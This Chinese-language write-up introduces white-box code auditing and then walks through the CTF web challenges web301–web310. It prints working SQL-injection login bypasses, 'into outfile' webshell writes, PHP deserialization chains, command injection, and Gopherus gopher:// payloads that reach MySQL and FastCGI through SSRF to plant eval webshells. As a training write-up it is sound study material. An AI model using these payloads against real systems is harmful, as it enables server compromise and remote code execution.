文章目录
什么是代码审计
代码审计(Code Audit),也称为白盒测试(White-Box Testing),是一种安全评估方法。与黑盒测试相反,审计人员在拥有应用程序完整源代码的情况下,对程序的逻辑、结构和代码实现进行深入的分析和审查
代码审计一般思路
进行代码审计时,通常会结合自动化工具和人工审查,遵循一个由宏观到微观的系统性流程
1. 准备阶段 (Preparation)
这是审计的起点,目的是为后续的深入分析做好准备
- 理解业务逻辑:首先要通读文档或大致浏览代码,理解这个程序是做什么的、核心功能有哪些
- 熟悉技术栈和框架:确定项目使用的编程语言(如PHP、Java、Python)、框架(如ThinkPHP、Spring、Django)和关键组件,了解特定框架的已知漏洞和安全特性
- 部署运行环境:如果条件允许,在本地搭建一个可以运行和调试的测试环境。可以动态地跟踪数据流,验证漏洞,极大地提高审计效率
2. 自动化扫描与手动分析 (Scanning & Manual Review)
这个阶段是审计的核心,通常会从寻找高风险的"入口点"和"危险函数"开始
- 寻找数据入口("入") :首先要定位用户能够控制数据输入的地方,这些是漏洞最有可能产生的地方
- 全局变量 :如PHP中的
$_GET
、$_POST
、$_COOKIE
、$_REQUEST
、$_SERVER
等,它们是外部数据进入程序的主要通道 - 文件操作:关注文件上传、文件读取/写入等功能点
- 数据库交互:所有与数据库进行增、删、改、查操作的地方
- 全局变量 :如PHP中的
- 跟踪数据流("流") :从找到的入口点开始,跟踪这些外部数据在代码中的传递路径。观察数据在传递过程中是否经过了充分的过滤、净化或编码。这是判断是否存在漏洞的关键
- 定位危险函数("出") :审计的另一个核心是寻找那些能直接导致漏洞的"危险函数"或"敏感操作",然后逆向回溯 ,看它们的参数是否能被用户的输入所控制
- SQL注入 :关注所有执行SQL查询的函数,如
query()
,execute()
等,看传入的SQL语句是否由外部输入拼接而成 - 命令执行 :关注
system()
,exec()
,shell_exec()
,passthru()
等能执行系统命令的函数 - 文件包含/读取 :关注
include()
,require()
,file_get_contents()
,readfile()
等函数 - 反序列化 :关注
unserialize()
函数,检查其参数来源
- SQL注入 :关注所有执行SQL查询的函数,如
3. 漏洞验证与利用链构造 (Verification & Exploitation)
在发现疑似漏洞后,需要进行验证
- 编写验证代码 (PoC):根据代码逻辑,构造特定的输入数据(Payload)来触发漏洞,验证其是否存在以及是否可被利用
- 构造利用链 (Exploit Chain):在复杂的场景中,单个漏洞可能无法造成严重危害,此时需要将多个漏洞点(如文件上传 + 文件包含)组合起来,形成一个完整的攻击链,以达到最终目的(如获取服务器权限)
题目列表
web301
首先下载附件进行分析,可以先看看目录结构

其中admin目录为前端页面目录,不需要分析,因此我们把重点放在assets
目录里面
把文件大概看了一下,发现checklogin.php
有未过滤的SQL语句,存在SQL注入漏洞

打开题目环境,可以看到一个登录框

有多种方法可以做这道题,咱们一个个分析
方法一:联合注入
分析当前代码,可以看到第17行有个判断语句

其中,strcasecmp 是PHP的字符串比较函数,用于比较两个字符串,如果两个字符串相等,则返回0,因此我们通过联合注入查询输出一个值,例如一个包含单个字面量 1
的结果集,程序把1
当成了账号在数据库中查询到的密码,因此我们在密码处也输入相同的数字,即可通过验证
账号:-1' union select 1#
密码:1
登录后在首页可以看到flag

方法二:SQL注入写shell
可以通过SQL注入漏洞写入shell,然后直接执行命令读取flag
账号:-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"#
密码:1
执行完之后访问1.php
,可以看到成功写入

用HackBar执行命令即可,成功读取flag

web302
这题也是沿用之前的附件,方法跟之前一样
方法一:联合注入
这题把上题checklogin.php
的第17行改成了
php
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
意思就是只要sds_decode($userpwd)
跟$row['sds_password']
相等即可通过验证,我们可以先随便输入一个值到$userpwd
,然后让其编码之后得到编码值,再让$row['sds_password']
通过联合注入输出这个编码值,程序把这个编码值当成了账号在数据库中查询到的密码,最后我们在密码处填入原本的值,经过后台编码后即可通过验证,具体可以看以下操作
我们在目录中寻找sds_decode()
函数,发现其位于fun.php

修改一下代码,参数输入1
,然后运行
php
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
$a = sds_decode("1");
echo $a;
?>
得到编码结果为
d9c77c4e454869d5d8da3b4be79694d3
然后我们打开登录框,输入账号密码
账号:-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
密码:1
解释一下,输入的1
经过sds_decode()
函数之后,变成了d9c77c4e454869d5d8da3b4be79694d3
,然后我们通过联合注入输出d9c77c4e454869d5d8da3b4be79694d3
,程序把这个编码值当成了账号在数据库中查询到的密码,因为我们在登录框密码处输入1
,这个密码经过编码后跟我们这个编码值一致,因此就成功通过验证

登录之后在首页得到flag

方法二:SQL注入写shell
跟之前一样,可以通过SQL注入漏洞写入shell,然后直接执行命令读取flag
账号:-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"#
密码:1

web303
下载附件进行分析,先看看目录结构

checklogin.php
这次多了个限制,username
长度不能大于6,因此之前的方法用不了

但是登录的检测机制依然不变
php
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
继续分析项目文件,发现sds_user.sql
里面存在用户信息

用户名是admin,密码是个加密后的值,打开fun.php
,可以看到这次贴心给了提示

直接运行代码,得到值为27151b7b1ad51a38ea66b1529cde5ee4
,跟上面sql文件里的一样,因此密码就是admin
打开网站登录,账号密码都是admin,进去之后点了一番,发现只有网点一览能点进去

进去之后发现是dpt.php
页面

咱们继续回去分析项目文件,发现dpt.php
和dptadd.php
都存在注入点,且官方也标了注释
dpt.php

php
$sql="select * from sds_dpt order by id;";
dptadd.php

php
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
可惜的是,dpt.php
的id
并没有办法控制,因此只能从dptadd.php
下手,URL拼接路径/dptadd.php
,然后通过POST的方式传入参数值,执行SQL注入

查表
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
结果为:sds_dpt,sds_fl9g,sds_user
查字段
dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
结果为:flag
查字段值
dpt_name=1',sds_address=(select flag from sds_fl9g)#
成功得到flag

web304
这题的代码跟上一题相同,不过多了一个全局WAF检测
php
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
但是这个WAF逻辑有问题,只要有任意一个字符匹配成功就会返回1
,因此并没有什么用
也是先登录网站,账号和密码都是admin

步骤跟上题一样,只不过表名从sds_fl9g
改成了sds_flaag
查表
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
结果为:sds_dpt,sds_flaag,sds_user
查字段
dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_flaag')#
结果为:flag
查字段值
dpt_name=1',sds_address=(select flag from sds_flaag)#
成功得到flag

web305
下载附件分析代码,发现fun.php
有个sds_waf()
函数,过滤很严格,且应用到了dptadd.php
,因此之前的SQL注入行不通

同时发现这题的checklogin.php
相比web303多了个Cookie反序列化

分析这个class.php
,可以看到有文件写入操作

因此这题的思路就是伪造Cookie ,然后执行反序列化漏洞写入webshell
payload:
php
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
var_dump(urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>'))));
运行结果:
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
把这个序列化结果写入Cookie,路径为/checklogin.php
payload:
Cookie: user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

蚁剑连接webshell,注意要把https改成http

在目录找了一番,没找到flag,猜测flag是在数据库里面,用蚁剑连接数据库

点击添加配置 ,然后数据库类型选MYSQLI,MYSQLI是MYSQL的升级版,支持更多新特性和更高安全性,官方推荐使用,MYSQL扩展现已废弃

密码在conn.php
,但是不知道为什么连不上,后来去网上搜了一下,发现蚁剑那里查看的密码是root,跟题目给的附件不一样
这是附件里面的conn.php

这是蚁剑里面的conn.php

然后在添加配置那里输入账号密码即可

成功找到flag

web306
下载附件分析代码,发现class.php
有个文件写入操作

继续分析,在index.php
发现反序列化代码

因此我们可以构造一个利用链执行反序列化操作,在dao.php
中发现可利用的类

最终利用链为
[index.php] unserialize -> [dao.php] dao::__destruct() -> [class.php] log::close()
payload:
php
<?php
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='1.php';
public $info='<?php eval($_POST[1]);?>';
}
$a = new dao();
echo base64_encode(serialize($a));
运行结果:
TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
把结果写入Cookie即可,路径是/index.php

然后蚁剑连接webshell,成功找到flag

web307
下载附件分析代码,发现class.php
有个文件写入操作

但是找了一番并没有发现调用closelog()
的地方,因此这个方法行不通
继续分析代码,发现dao.php
有个命令执行函数

在logout.php
发现反序列化代码,且调用了clearCache()
函数

虽然logout.php
并没有直接包含dao.php
,但是包含了service.php
,而service.php
包含了dao.php
,因此可以直接通过dao
类调用clearCache()
函数
然后控制变量$cache_dir
来截断原来的rm
命令并执行新的命令,写入webshell到php文件

利用链:
[/controller/logout.php] unserialize -> [/controller/service/dao/dao.php] dao::clearCache()
payload:
php
<?php
class config{
public $cache_dir = '1; echo "<?php eval(\$_POST[1]);?>" > 1.php;'; //"$"前加"\"是为了防止被解析
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
运行结果:
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDQ6IjE7IGVjaG8gIjw/cGhwIGV2YWwoXCRfUE9TVFsxXSk7Pz4iID4gMS5waHA7Ijt9fQ==
把结果写入Cookie即可,路径是/controller/logout.php
,参数是service

然后蚁剑连接webshell,flag在/var/www/html
目录

web308
下载附件分析代码,发现dao.php
的clearCache()
函数加了过滤,只能匹配纯英文字符,因此上题的方法在这里行不通

继续分析代码,发现index.php
有反序列化代码,且调用了一个函数checkVersion()

查找checkVersion()
函数的定义,在dao.php
里面

继续分析update_url
,在config.php
里面可以看到$update_url
的定义,是个地址链接

接着再分析checkUpdate()
函数的定义

checkUpdate()
函数通过cURL发起HTTP请求,因此突破口就是这里,我们可以通过这个打SSRF漏洞
利用链:
[index.php] unserialize -> [/controller/service/dao/dao.php] dao::checkVersion()
看了一下,发现config.php
里面并没有设置mysql密码

因此我们用Gopher协议 打无密码的mysql,工具是Gopherus,下载地址:https://github.com/tarunkant/Gopherus
bash
python2 gopherus.py --exploit mysql
输入以下内容
数据库用户名:root
待执行命令:select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php";

得到结果:
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01
如果是直接传参就需要进行URL编码,但是这里是反序列化,解析payload时已经在服务端,因此不需要二次编码
payload:
php
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01;';
}
$a= new dao();
echo base64_encode(serialize($a));
运行结果:
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjQ6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDYlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzElMmUlNzAlNjglNzAlMjIlM2IlMDElMDAlMDAlMDAlMDE7Ijt9fQ==
把结果写入Cookie即可,路径是/index.php
,参数是service

最后蚁剑连接webshell即可

web309
题目提示mysql有密码了,因此上题打无密码msql的方法在这里用不了
附件还是和上题一样,这次可以用Gopher扫描端口试试
php
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:端口';
}
$a= new dao();
echo base64_encode(serialize($a));
常见危险端口:
21 FTP
22 SSH
80 HTTP
443 HTTPS
3389 RDP
1433 MS-SQL Server
3306 MySQL
6379 Redis
9000 PHP-FPM / FastCGI
用Gopher请求端口时,如果端口有服务在监听,则会接受连接并等待我们传输数据,此时连接会"卡住"一段时间;如果端口没有服务,则会立刻拒绝连接。通过是否出现等待,就能判断端口是否开放
方法跟之前一样,也是把结果写入Cookie,路径是/index.php
,参数是service

扫描到9000的时候未响应,说明9000端口开放

可以用Gopher协议打FastCGI ,工具也是Gopherus
bash
python2 gopherus.py --exploit fastcgi
输入以下内容
已知文件绝对路径:/var/www/html/index.php
待执行命令:echo "<?php eval(\$_POST[1]);?>" > 1.php

得到结果:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5C%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22%20%3E%201.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
payload:
php
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5C%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22%20%3E%201.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
$a= new dao();
echo base64_encode(serialize($a));
运行结果:
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo2NDk6ImdvcGhlcjovLzEyNy4wLjAuMTo5MDAwL18lMDElMDElMDAlMDElMDAlMDglMDAlMDAlMDAlMDElMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDElMDQlMDQlMDAlMEYlMTBTRVJWRVJfU09GVFdBUkVnbyUyMC8lMjBmY2dpY2xpZW50JTIwJTBCJTA5UkVNT1RFX0FERFIxMjcuMC4wLjElMEYlMDhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMSUwRSUwMkNPTlRFTlRfTEVOR1RIOTIlMEUlMDRSRVFVRVNUX01FVEhPRFBPU1QlMDlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUlMjAlM0QlMjBPbiUwQWRpc2FibGVfZnVuY3Rpb25zJTIwJTNEJTIwJTBBYXV0b19wcmVwZW5kX2ZpbGUlMjAlM0QlMjBwaHAlM0EvL2lucHV0JTBGJTE3U0NSSVBUX0ZJTEVOQU1FL3Zhci93d3cvaHRtbC9pbmRleC5waHAlMEQlMDFET0NVTUVOVF9ST09ULyUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMCUwMCUwMCUwMCUwMSUwNSUwMCUwMSUwMCU1QyUwNCUwMCUzQyUzRnBocCUyMHN5c3RlbSUyOCUyN2VjaG8lMjAlMjIlM0MlM0ZwaHAlMjBldmFsJTI4JTVDJTI0X1BPU1QlNUIxJTVEJTI5JTNCJTNGJTNFJTIyJTIwJTNFJTIwMS5waHAlMjclMjklM0JkaWUlMjglMjctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0lMEElMjclMjklM0IlM0YlM0UlMDAlMDAlMDAlMDAiO319
把结果写入Cookie即可,路径是/index.php
,参数是service

然后蚁剑连接即可

web310
附件还是跟web308一样
方法和上题相同,也是用Gopher协议打FastCGI
把结果写入Cookie,路径是/index.php
,参数是service

连接蚁剑webshell,但是这次flag不在/var/www/html

找了一下,发现flag在/var/flag
目录

参考
Jay 17:https://blog.csdn.net/Jayjay___/article/details/133146315